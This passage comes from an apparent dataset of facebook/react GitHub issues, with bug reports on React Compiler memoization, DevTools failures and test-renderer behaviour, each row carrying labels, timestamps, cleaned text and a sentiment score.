https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRA9J0QCoAWeMEQDuEGAGswydkSJxCYHERyCwAJQRoA6uKlEAvEShgEmtPUxQANtcayieNEXqqh53ZLAA6OLBi0ygCEBkZWtsxsHHJuGlqeUr7+gYZErCD8AIZB6Q4AvuwO3EQAQlDKsUQAJhAIYJiAmAQ4MhwKmEoqauYAIrX1ykYmZlpMDk4usT19dEkwAXREIYOYVVp4mAhVkQ4xXVq9dTN+cylG6Vk5IPmFHMUCQi6mtI7EmUQBmdYAtGIw1lXyCCrABGmVMzE+kGq0yaLTkbQ6ky0AEFrJADv1UkNzKMOON6EEkWhUejpjhZvMcNtop13Ci0RAMUdkgszhlsrkOAVMA4AjhYMQADxVPAANy4AD52HkiCA8kA

### Repro steps

(This may be by design, but still reporting it as it’s causing deopts in valid real-world code.)

In a codebase I'm adopting React compiler on, it's common to have this pattern to initialize refs:

```ts
const ref = useRef(undefined)
if (!ref.current) ref.current = something()
// or also:
if (ref.current === undefined) ref.current = something()
```

Right now, React Compiler deopts when encountering this pattern, mentioning “Cannot access refs during render”. 

This is likely by design (everywhere in React docs, if you need to initialize a ref to nothing, you’re shown to use `null`). However,... [TRUNCATED]","Component: React Compiler,Compiler: Ref Validation",2025-08-22 23:15:31+00:00,2025-09-17 20:11:57+00:00,4,"Component: React Compiler,Compiler: Ref Validation",25.8725,compiler bug are not allowed what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps this may be by design but still reporting it as it s causing deopts in valid real world code in a codebase i m adopting react compiler on it s common to have this pattern to initialize refs right now react compiler deopts when encountering this pattern mentioning cannot access refs during render this is likely by design everywhere in react docs if you need to initialize a ref to nothing you re shown to use however truncated,bug,-0.0516
facebook/react,3345598015,[DevTools Bug]: devtools does not works on null origin(sandbox),"### Website or app

Please refer to 'How to reproduce'.

### Repro steps


Save the following code as `server.js` , then run the command: `node server.js 1234 --sandbox`
and open `http://127.0.0.1:1234` in your browser.
When you check the Developer Tools, you'll notice that the React Components tab doesn't appear.

<details>

<summary><b><code>server.js</code> source code</b></summary>

```js
const http = require(""http"");

const args = process.argv.slice(2);
const withSandbox = args.includes(""--sandbox"");
if (args.length < 1) {
    console.error(""Usage: node server.js <port> [--sandbox]"");
    process.exit(1);
}

const html = `
<!DOCTYPE html>
<html>
  <head>
    <title>Hello</title>
  </head>
  <body>
    <div id=""root""></div>
    <script crossorigin src=""https://unpkg.com/react@18/umd/react.development.js""></script>
    <script crossorigin src=""https://unpkg.com/react-dom@18/umd/react-dom.development.js""></script>
    <script>
      const App = () => React.createElement(""h1"", null, ""Hello, React${withSandbox ? "" (sandbox enabled)"" : """"
    }"");
      ReactDOM.createRoot(document.getElementById(""root"")).render(React.createElement(App, null));
    </script>
  </body>
</html>`;

const port = parseInt(args[0], 10);
if (Number.isNaN(port) || port <= 0) {
    console.error(""Invalid port:"", args[0]);
    process.exit(1);
}
const sendRes = (req, res, status, contentType, body) => {
    res.statusCode = status;
    res.setHeader(""Content-Type"", contentType + ""; charset=utf-8"");
    ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-22 14:01:47+00:00,2026-01-13 16:49:51+00:00,3,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",144.1167,devtools bug devtools does not works on null origin sandbox website or app please refer to how to reproduce repro steps save the following code as then run the command and open in your browser when you check the developer tools you ll notice that the react components tab doesn t appear server js source code js const http require http const args process argv slice const withsandbox args includes sandbox if args length console error usage node server js sandbox process exit const html hello script crossorigin src script crossorigin src const app react createelement h null hello react withsandbox sandbox enabled reactdom createroot document getelementbyid root render react createelement app null const port parseint args if number isnan port port console error invalid port args process exit const sendres req res status contenttype body res statuscode status res setheader content type contenttype charset utf truncated,bug,-0.4939
facebook/react,3343500132,[Compiler Bug]: The “one or more React ESLint rules were disabled” check is too aggressive,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRchYOLRAbgEMANlAQAaImAQ4A8jgAWCGADURYogF8iAXiJRpAZQoIAEhAgBrJu3ZF90gKJo0CXPSa6AfCzv3O3BDCCAB0whAA5vRCogiMfvbScorKarHR6nEJRAD0OUQIYMJ4dAC0ACZ4YIIARsGlmAgAHjilxY1EMAiCuKUKFpZgOc0Kggb4-AgVCJRgfpqSANoxYgC68Zh+XTiwxAA8JAp4wuUCmTrAKwjaOV7smiCaQA

### Repro steps

A codebase where I’m adopting React Compiler right now has multiple components with `// eslint-disable-next-line react-hooks/exhaustive-deps` put in front of a `useEffect` dependency array:

```js
function Component() {
  const { value, setOtherValue } = useSomeHook()

  useEffect(() => {
    console.log(value)
    setOtherValue(value)
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [value])

  return <Child value={value} />
}
```

(In this scenario, the developer’s intention is to run the effect only when `value` changes.)

This is, arguably, a code smell (if `setOtherValue` changes, we won’t call it, and that might lead to bugs!). But this doesn’t affect the effectiveness of memoization. However, Compiler ba... [TRUNCATED]","Component: React Compiler,Resolution: Stale,Compiler: todo",2025-08-21 23:24:19+00:00,2026-02-02 05:23:55+00:00,8,"Component: React Compiler,Resolution: Stale,Compiler: todo",164.2497,compiler bug the one or more react eslint rules were disabled check is too aggressive what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps a codebase where i m adopting react compiler right now has multiple components with put in front of a dependency array in this scenario the developer s intention is to run the effect only when changes this is arguably a code smell if changes we won t call it and that might lead to bugs but this doesn t affect the effectiveness of memoization however compiler ba truncated,bug,0.09
facebook/react,3343363868,Bug: in dev mode the dispose function is applied to incorrect state,"When using a third-party stateful object that needs to be explicitly disposed of, I'm using an effect that returns a dispose function. In dev mode I observe then that React uses the stateful object after it has been disposed, and then disposes of it a second time.

React version: 19.1.1

## Steps To Reproduce

1. Run the code sample below
2. Observe the console logs
3. Navigate away to some other page

```ts
import React from ""react"";

export const TestComponent = () => {
  console.log(""Start rendering TestComponent"");
  const state = React.useMemo(() => {
    return new State();
  }, []);
  React.useEffect(() => {
    return () => state.dispose();
  }, []);
  console.log(""TestComponent rendered"", state.id);
  return ""Test"";
};

class State {
  id: number;
  constructor() {
    this.id = Math.floor(Math.random() * 1000000);
    console.log(""new State"", this.id);
  }
  dispose() {
    console.log(""dispose of state"", this.id);
  }
}
```

## The current behavior

Currently, the component is created twice in dev mode (as expected), and each copy creates a new State (as expected). One of those copies then gets disposed during unmount (as expected). However, that same object gets used again in a subsequent render even after it was unmounted (not expected). It then gets disposed of again during subsequent navigation (definitely not expected). The original second copy of the State is not disposed (also not expected).
```
Start rendering TestComponent
new State 666058
new State 109916... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-21 22:18:08+00:00,2025-12-01 17:07:16+00:00,2,"Status: Unconfirmed,Resolution: Stale",101.7841,in dev mode the dispose function is applied to incorrect state when using a third party stateful object that needs to be explicitly disposed of i m using an effect that returns a dispose function in dev mode i observe then that react uses the stateful object after it has been disposed and then disposes of it a second time react version run the code sample below observe the console logs navigate away to some other page the current behavior currently the component is created twice in dev mode as expected and each copy creates a new state as expected one of those copies then gets disposed during unmount as expected however that same object gets used again in a subsequent render even after it was unmounted not expected it then gets disposed of again during subsequent navigation definitely not expected the original second copy of the state is not disposed also not expected start rendering testcomponent new state new state truncated,bug,0.7606
facebook/react,3341653411,Bug: actQueue forever growing in react 19.0.0,"React version: 19.0.0

## The current behavior
This is very hard to describe, I encountered a unit test starts to fail when I migrate react from 18.3.1 to 19.0.0.

This is a very large component, in the component tree, there are two things to notice.
1. There are usages of `<Suspense />` and `react.lazy`
2. There is a component that has `const [ref, setRef] = useState(null)` and returns `...<div ref={setRef} />...` (I need this pattern to append observer + other logic in a effect, ref is a dependency of this effect)

When this component is being tested with react 19.0.0 in react-testing-library, the test enters some kind of infinite loop. I use breakpoint to find that in react-dom-client, the actQueue keeps growing infinitely

<img width=""1015"" height=""767"" alt=""Image"" src=""https://github.com/user-attachments/assets/926e0e29-0c6b-4485-bd38-d6198b279e77"" />

To debug this, I started to delete code. I found that
1. If I remove the callsite of `setRef` from ref props, the test can finish
2. If I remove the lazy component and Suspense, the test can finish

if I keep `setRef` callsite but remove the usage of `ref` state from the effect, the test still hang


## The expected behavior
unit test can finish","Status: Unconfirmed,Resolution: Stale",2025-08-21 12:57:34+00:00,2026-01-03 10:05:51+00:00,11,"Status: Unconfirmed,Resolution: Stale",134.8808,actqueue forever growing in react react version the current behavior this is very hard to describe i encountered a unit test starts to fail when i migrate react from to this is a very large component in the component tree there are two things to notice there are usages of and there is a component that has and returns i need this pattern to append observer other logic in a effect ref is a dependency of this effect when this component is being tested with react in react testing library the test enters some kind of infinite loop i use breakpoint to find that in react dom client the actqueue keeps growing infinitely to debug this i started to delete code i found that if i remove the callsite of from ref props the test can finish if i remove the lazy component and suspense the test can finish if i keep callsite but remove the usage of state from the effect the test still hang the unit test can finish,bug,-0.4491
facebook/react,3339950222,CORS Solved,,,2025-08-21 01:21:23+00:00,2025-08-21 02:16:58+00:00,0,nan,0.0386,cors solved,others,0.2732
facebook/react,3327128098,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-16 10:23:27+00:00,2025-08-16 10:27:26+00:00,0,Status: Unconfirmed,0.0028,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3326701652,This should fail due to permission restrictions,This issue creation should be blocked by GitHub permission system.,,2025-08-16 01:24:12+00:00,2025-08-16 01:42:30+00:00,0,nan,0.0127,this should fail due to permission restrictions this issue creation should be blocked by github permission system,others,-0.4588
facebook/react,3326126703,[Compiler Bug]: breaks referencial stability in @tanstack/react-query,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://stackblitz.com/edit/vitejs-vite-ucqzqtvo?file=vite.config.ts

### Repro steps

I noticed my fetch responses weren't referentially stable and causing aggressive re-renders in my application. I traced it to react-compiler's interactions on @tanstack/react-query and made a repro attached above.  Not sure how to solve this, seems like a strange react-compiler side effect.

- The useMemo is rerunning when `data` is unchanged
```
export function useFetchThing() {
  const { data, isLoading, error } = useQuery({
    queryKey: ['blah'],
    queryFn: async () => {
      const resp = await fetch('google.com');
      return resp;
    },
  });

  React.useMemo(() => {
    console.log(
      '!!! Should not re-run on re-render, but does with react-compiler!'
    );
  }, [data]);

  return { data, isLoading, error };
}
```




### How often does this bug happen?

Every time

### What version of React are you using?

19.1.0

### What version of React Compiler are you using?

19.1.0-rc.2","Type: Bug,Status: Unconfirmed",2025-08-15 19:29:36+00:00,2025-08-20 18:14:39+00:00,5,"Type: Bug,Status: Unconfirmed",4.948,compiler bug breaks referencial stability in tanstack react query what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps i noticed my fetch responses weren t referentially stable and causing aggressive re renders in my application i traced it to react compiler s interactions on tanstack react query and made a repro attached above not sure how to solve this seems like a strange react compiler side effect the usememo is rerunning when is unchanged how often does this bug happen every time what version of react are you using what version of react compiler are you using rc,bug,-0.1184
facebook/react,3324567623,Bug: `react@19` renders always `null` with `react-test-renderer@19` ,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. `npm install react@19 react-test-renderer@19`
2. use [`create`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderercreate) and call [`toJSON()`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderertojson)/[`toTree()`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderertotree) APIs

```tsx
import assert = require(""node:assert"");
import { create } from ""react-test-renderer"";

const testRenderer = create(<div />);

try {
  assert(testRenderer.toJSON(), ""JSON should not be null"");
} catch (error) {
  console.error(error);
}

try {
  assert(testRenderer.toTree(), ""Tree should not be null"");
} catch (error) {
  console.error(error);
}
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
https://codesandbox.io/p/devbox/elegant-kepler-224hrz?workspaceId=ws_AUrTGk3RTnAN4nJ64LUUVP

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the a... [TRUNCATED]",Status: Unconfirmed,2025-08-15 07:15:27+00:00,2025-08-19 08:06:57+00:00,1,Status: Unconfirmed,4.0358,renders always with of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version use and call apis your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the a truncated,bug,-0.4215
facebook/react,3323068980,[Compiler]: Memoization not applying,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/OliverJAsh/react-compiler-flow-bug

### Repro steps

The reduced test case contains two components, `WithFlow` and `WithoutFlow`. They are identical except for this line:

`WithFlow`:
```js
const myRef = flow((x) => [x], setState);
```
`WithoutFlow`:
```js
const myRef = (x) => {
  setState([x]);
};
```

For reference, `flow` is a helper function for composing functions together:

```js
const flow = (a, b) => (x) => b(a(x));
```

When using `WithFlow` we get `Maximum update depth exceeded.`.

When using `WithoutFlow` it works (no error).

---

In [the React Compiler playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6Adl3BJ2FQA2EAO4EAvAQAUpADQEARgEoJAPmkAPFePUKZUrUo6de-Qr2wQwCEpTATpytYuM8+AggHU0eABYAxYTFJKW11YC4CAlMPAG15azwAZTxSPAQAXQcScjwAOihrFLSEKU4oQUEjSIIAelqCQBlyGpjCDABPWwdKIKkDMIJYjQyEhGTU9OruTiicigLrAFFKSgQKPoHgAF95WIypmqY8WBmAHgATNAA3AiZKcWALHGtbMCkO2yUtutVjLdcTO5CN4-NA8IFRA5Qs4IjNokDBqNxiUspI5vlCghiukyhUqsYovUCIBQchaCI+CEoUK0MJqUUS2NKQ32BII-y4NXRCwQy1W62hOgI212LI5cKOJwIF2ut0pDyeVhslLeFMoXx+f... [TRUNCATED]",Component: React Compiler,2025-08-14 17:42:35+00:00,2025-08-27 22:37:42+00:00,13,Component: React Compiler,13.2049,compiler memoization not applying what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps the reduced test case contains two components and they are identical except for this line for reference is a helper function for composing functions together when using we get when using it works no error in the react compiler playground truncated,others,-0.0516
facebook/react,3318191619,[DevTools Bug]: No highlighting on modal `<dialog>` elements,"### Website or app

https://github.com/Rumperuu/react-dev-tools-dialog-example

### Repro steps

1. Open a [`<dialog>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/dialog) using the [`showModal()` method](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/showModal)
2. Try to highlight components within the modal dialog using React DevTools

Verified present in React 17 & 19, Waterfox 6.5.11 (based on Firefox ESR 128) and Chrome 139 and React DevTools 6.1.1 (Firefox) and 6.1.5 (Chrome).

Opening a non-modal dialog (with [`show()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/show)) works as expected.

https://github.com/user-attachments/assets/acca8815-c122-4b28-b6ea-abc73b34e9a0

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-13 12:04:32+00:00,2025-08-29 14:46:01+00:00,1,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",16.1121,devtools bug no highlighting on modal elements website or app repro steps open a element using the method try to highlight components within the modal dialog using react devtools verified present in react waterfox based on firefox esr and chrome and react devtools firefox and chrome opening a non modal dialog with works as expected how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9607
facebook/react,3312100302,[Compiler Bug]: atomic.ai,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

public GitHub repo

### Repro steps

[dumpstate-stats.txt](https://github.com/user-attachments/files/21725031/dumpstate-stats.txt)

### How often does this bug happen?

Every time

### What version of React are you using?

v19.1

### What version of React Compiler are you using?

v19.1","Type: Bug,Status: Unconfirmed",2025-08-12 01:01:19+00:00,2025-08-12 01:05:22+00:00,2,"Type: Bug,Status: Unconfirmed",0.0028,compiler bug atomic ai what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro public github repo repro steps dumpstate stats txt how often does this bug happen every time what version of react are you using v what version of react compiler are you using v,bug,-0.5267
facebook/react,3312087785,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior

[bugreport-A56-T00624-2025-08-03-20-20-00.zip](https://github.com/user-attachments/files/21724945/bugreport-A56-T00624-2025-08-03-20-20-00.zip)

[bugreport-A56-T00624-2025-08-03-20-20-00-dumpstate_log-2283.txt](https://github.com/user-attachments/files/21724947/bugreport-A56-T00624-2025-08-03-20-20-00-dumpstate_log-2283.txt)

[bugreport-wdt-2025-08-05-08-09-58.zip](https://github.com/user-attachments/files/21724950/bugreport-wdt-2025-08-05-08-09-58.zip)

[bugreport-A56-T00624-2025-08-06-19-10-36.zip](https://github.com/user-attachments/files/21724953/bu... [TRUNCATED]",Status: Unconfirmed,2025-08-12 00:53:04+00:00,2025-08-12 00:54:34+00:00,1,Status: Unconfirmed,0.001,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the bugreport a t zip bugreport a t dumpstate log txt bugreport wdt zip bugreport a t zip truncated,bug,-0.7003
facebook/react,3312082716,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-12 00:50:20+00:00,2025-08-12 01:05:56+00:00,0,Status: Unconfirmed,0.0108,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3312082535,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-12 00:50:13+00:00,2025-08-12 01:06:05+00:00,0,Status: Unconfirmed,0.011,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3311192576,[Compiler Bug]: Memoization: Compilation skipped because existing memoization could not be preserved,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAUQA8AHBLASwDcEBhCAW2MzLwF5d6F6IAKAMygY42cpgIkyYKrQZMMLHsFwATAIbZVAGlyYaAG3JwA1rgC+ASlzAAOhly50WPMRgREYMAmUARdatzsUJ4Asly8PJasAHxWtvb2MAjYsHYIEhTUAAqu7lIYAOY8ahrmANxxZtoA2sWqALplthWOOLgAFqoYynq0BsYBuEG0qnp6AEaqxjw85NhckTE2dvG6fUYzc-QAdOTKjcum1auGRg3lGBWJyTB2PBX2ADzKVFH38cAubggeXr4aW-RVMQNlwAjE7st4vEnlRcEYEABPVjAWZcHbKUw6DD6E7IiJg9qdbq9E4g+jmTEAelekPi5gpbwelOelBp9n2FnOtgEQhEYjSpAyCGyXw85AKRT8liWCSSKRUfnOphApiAA

### Repro steps

1. Copy the component from the https://react.dev/learn/react-compiler/introduction#before-react-compiler section in the playground
2. Notice `useMemo` shows a compilation error
```
Memoization: Compilation skipped because existing memoization could not be preserved

React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
```


### How often does this bug happen?

Every time

### What version of React are you using?

latest (I believe)

### What version of Reac... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-08-11 18:36:40+00:00,2026-03-20 18:44:41+00:00,15,"Type: Bug,Status: Unconfirmed,Component: React Compiler",221.0056,compiler bug memoization compilation skipped because existing memoization could not be preserved what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps copy the component from the section in the playground notice shows a compilation error how often does this bug happen every time what version of react are you using latest i believe what version of reac truncated,bug,-0.7506
facebook/react,3307613965,Bug: Failed to pipe response in nextjs,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

1. trying to visit a certain dynamic route in nextjs
2. i get errors when i try to visit the page route

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/MikeyA-yo/scoreboardmanager/blob/main/app/event/%5Bname%5D/page.tsx

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Fails to serve  page

 ⨯ [Error: failed to pipe response] {
  page: '/event/teensevent',
  [cause]: [Error: Expected a suspended thenable. This is a bug in React. Please file an issue.] {
    digest: '3975119377'
  }

## The expected behavior
Page should be served",Status: Unconfirmed,2025-08-10 14:14:41+00:00,2025-08-10 14:22:59+00:00,0,Status: Unconfirmed,0.0058,failed to pipe response in nextjs of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version trying to visit a certain dynamic route in nextjs i get errors when i try to visit the page route your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior fails to serve page error failed to pipe response page event teensevent cause error expected a suspended thenable this is a bug in react please file an issue digest the page should be served,bug,-0.9709
facebook/react,3305030630,"[DevTools Bug] Cannot remove node ""10"" because no matching node was found in the Store.","### Website or app

https://github.com/leeshiela/calendar-component-options

### Repro steps

Using the Profiler on my localhost:3000 produced an error while on a specific branch. Steps to reproduce the bug:

1. `git clone` the above url and `npm install`
2. `git checkout` to the `react-aria-datepicker` branch
3.  `npm run dev`
4. Open DevTools and switch to Profiler with React DevTools Extension
5. Hit the rerun button to refresh and rerun Profiler.
6. Error should occur

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot remove node ""10"" because no matching node was found in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1238165
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot remove node  because no matching node was found in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-08 19:35:58+00:00,2025-10-12 13:03:04+00:00,2,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",64.7272,devtools bug cannot remove node because no matching node was found in the store website or app repro steps using the profiler on my localhost produced an error while on a specific branch the bug the above url and to the branch open devtools and switch to profiler with react devtools extension hit the rerun button to refresh and rerun profiler error should occur how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot remove node because no matching node was found in the store error call stack automated error component stack automated github query string automated,bug,-0.9786
facebook/react,3304537572,[DevTools Bug]: The link that points to the master branch should point to the main branch instead,"### Website or app

https://chromewebstore.google.com/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en

### Repro steps

